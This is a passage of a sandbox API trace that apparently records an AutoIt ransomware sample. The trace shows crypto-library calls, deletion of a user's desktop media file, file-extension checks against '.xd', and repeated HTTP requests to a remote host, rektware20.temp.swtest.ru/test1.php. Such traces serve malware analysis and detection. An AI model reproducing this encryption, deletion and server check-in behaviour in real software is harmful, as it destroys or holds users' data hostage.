lpMsg=0x130f164) returned 0 [0078.068] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.068] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0078.068] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.068] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.068] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0078.068] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0078.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16210c0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0078.069] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0078.069] CryptDestroyKey (hKey=0x164c630) returned 1 [0078.069] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.069] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.069] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.069] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.069] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.069] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0078.069] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0078.069] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.069] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.069] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0078.070] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.070] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.070] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.070] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.070] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.070] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.070] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.070] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.070] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.070] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.070] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.070] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.070] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0078.070] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.070] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.070] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.070] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.070] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.070] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0078.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0078.071] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0078.071] CryptReleaseContext (hProv=0x1631d48, dwFlags=0x0) returned 1 [0078.071] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.071] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.071] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.071] FreeLibrary (hLibModule=0x74c60000) returned 1 [0078.071] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.071] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.071] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.071] CloseHandle (hObject=0x3c8) returned 1 [0078.073] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.073] CloseHandle (hObject=0x3d8) returned 1 [0078.105] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.105] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.105] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u5kvckLUVBVmp.m4a", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u5kvckLUVBVmp.m4a", lpFilePart=0x0) returned 0x2f [0078.106] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u5kvckLUVBVmp.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\u5kvckluvbvmp.m4a")) returned 0x20 [0078.106] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u5kvckLUVBVmp.m4a", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c270 [0078.106] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u5kvckLUVBVmp.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\u5kvckluvbvmp.m4a")) returned 1 [0078.146] FindNextFileW (in: hFindFile=0x164c270, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0078.146] FindClose (in: hFindFile=0x164c270 | out: hFindFile=0x164c270) returned 1 [0078.147] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.147] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.147] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.147] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.147] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UsYgVD-zHC.mkv", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0078.147] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0078.148] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.148] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0078.148] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0078.148] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0078.148] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0078.148] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620df0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620df0, lpdwBufferLength=0x130ef8c) returned 1 [0078.148] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0078.148] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0078.149] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0078.149] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0078.149] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0078.149] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0078.150] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629210, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629210*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0078.150] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629220, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629220*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0078.150] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0078.150] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0078.150] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0078.150] CloseHandle (hObject=0x0) returned 0 [0078.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.152] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.152] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.152] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.152] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.152] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.152] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.152] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.152] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.152] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UsYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.152] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sYgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.152] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="YgVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.152] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gVD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.152] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VD-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.152] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.152] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.152] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zHC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.152] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HC.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.152] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.152] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0078.153] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.153] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.153] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0078.153] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.153] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0078.153] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0078.153] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0078.153] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0078.153] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0078.153] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620eb0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620eb0, lpdwBufferLength=0x130ee1c) returned 1 [0078.154] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0078.154] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0078.154] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0078.159] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0078.159] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0078.159] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0078.159] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0078.159] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629380, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629380*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0078.159] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0078.174] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0078.174] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0078.174] CloseHandle (hObject=0x0) returned 0 [0078.174] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.175] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UsYgVD-zHC.mkv", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d170 [0078.175] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0078.175] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.175] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.175] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.175] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.175] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0078.175] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.175] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0078.176] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.176] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.176] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0078.176] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.176] PeekMessageW (in: lpMsg=0x130ecb4, 